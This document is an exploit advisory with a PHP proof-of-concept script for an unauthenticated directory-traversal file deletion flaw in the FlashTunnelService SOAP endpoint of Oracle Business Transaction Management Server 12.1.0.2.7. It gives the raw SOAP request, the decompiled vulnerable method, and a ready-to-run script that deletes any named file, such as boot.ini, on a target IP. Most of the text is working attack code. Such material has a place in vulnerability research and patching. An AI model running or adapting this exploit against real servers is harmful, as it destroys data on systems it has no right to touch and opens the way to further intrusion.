Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService Remote File Deletion

Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService
Remote File Deletion

tested against: Microsoft Windows Server 2003 r2 sp2
                Oracle WebLogic Server 12c (12.1.1)
                Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)

files tested:
oepe-indigo-installer-12.1.1.0.1.201203120349-12.1.1-win32.exe (weblogic)
download url: http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html             

BTM_Servers_12.1.0.2.7.zip (BTM, production version)
download url: http://www.oracle.com/technetwork/oem/downloads/btw-downloads-207704.html

vulnerability:
the mentioned product installs a web service
called "FlashTunnelService" which can be reached
without prior authentication and processes incoming
SOAP requests.

It can be reached at the following uri:
http://[host]:7001/btmui/soa/flash_svc/

This soap interface exposes the 'deleteFile' function
which could allow to delete arbitrary files with administrative
privileges on the target
server through a directory traversal vulnerability.
This could be useful for further attacks.

Example packet:

POST /btmui/soa/flash_svc/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://soa.amberpoint.com/deleteFile"
User-Agent: Jakarta Commons-HttpClient/3.1
Host: [host]:7001
Content-Length: [length]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
   <soapenv:Header/>
   <soapenv:Body>
      <int:deleteFileRequest>
         <int:deleteFile handle="../../../../../../../../../../../../somepath/somefile.ext">
            <typ:DeleteFileRequestVersion>
            </typ:DeleteFileRequestVersion>
         </int:deleteFile>
      </int:deleteFileRequest>
   </soapenv:Body>
</soapenv:Envelope>

Vulnerable code, see the decompiled com.amberpoint.flashtunnel.impl.FlashTunnelServiceImpl class:
...
public IDeleteFileResponse deleteFile(IDeleteFileRequest request)
        throws SOAPFaultException
    {
        DeleteFileResponse dfr = new DeleteFileResponse();
        String handle = request.getHandle();
        File f = getFileFromHandle(handle);
        if(f != null)
            f.delete();
        return dfr;
    }
...

As attachment, proof of concept code.

<?php
/*
Oracle Business Transaction Management Server 12.1.0.2.7 FlashTunnelService
Remote File Deletion poc

tested against: Microsoft Windows Server 2003 r2 sp2
                Oracle WebLogic Server 12c (12.1.1)
                Oracle Business Transaction Management Server 12.1.0.2.7 (Production version)

Example:
C:\php>php 9sg_ora2.php 192.168.2.101 boot.ini

C:\php>php 9sg_ora2.php 192.168.2.101 windows\system32\win.ini

rgod
*/
    error_reporting(E_ALL ^ E_NOTICE);    
    set_time_limit(0);
   
 $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";

    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
   
 function syntax() {
       print("usage: php 9sg_ora2.php [ip_address] [file_to_delete]\r\n" );
       die();
    }
   
 $argv[2] ? print("[*] Attacking...\n") :
    syntax();
   
 if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }
       
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post == 1) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        }
        if ($is_post == 2) {
            curl_setopt($ch, CURLOPT_PUT, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        }
       
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Content-Type: text/xml;charset=UTF-8",
            "SOAPAction: \"http://soa.amberpoint.com/deleteFile\"",
                     

        ));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Jakarta Commons-HttpClient/3.1");
        //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            //die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }
          $host = $argv[1];
          $port = 7001;
          $file = $argv[2];

$soap='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:int="http://schemas.amberpoint.com/flashtunnel/interfaces" xmlns:typ="http://schemas.amberpoint.com/flashtunnel/types">
   <soapenv:Header/>
   <soapenv:Body>
      <int:deleteFileRequest>
         <int:deleteFile handle="../../../../../../../../../../../../../../../../../../'.$file.'">
            <typ:DeleteFileRequestVersion>
            </typ:DeleteFileRequestVersion>
         </int:deleteFile>
      </int:deleteFileRequest>
   </soapenv:Body>
</soapenv:Envelope>';

$url = "http://$host:$port/btmui/soa/flash_svc/";
$out = _s($url, 1, "", $soap);
print($out."\n");
?>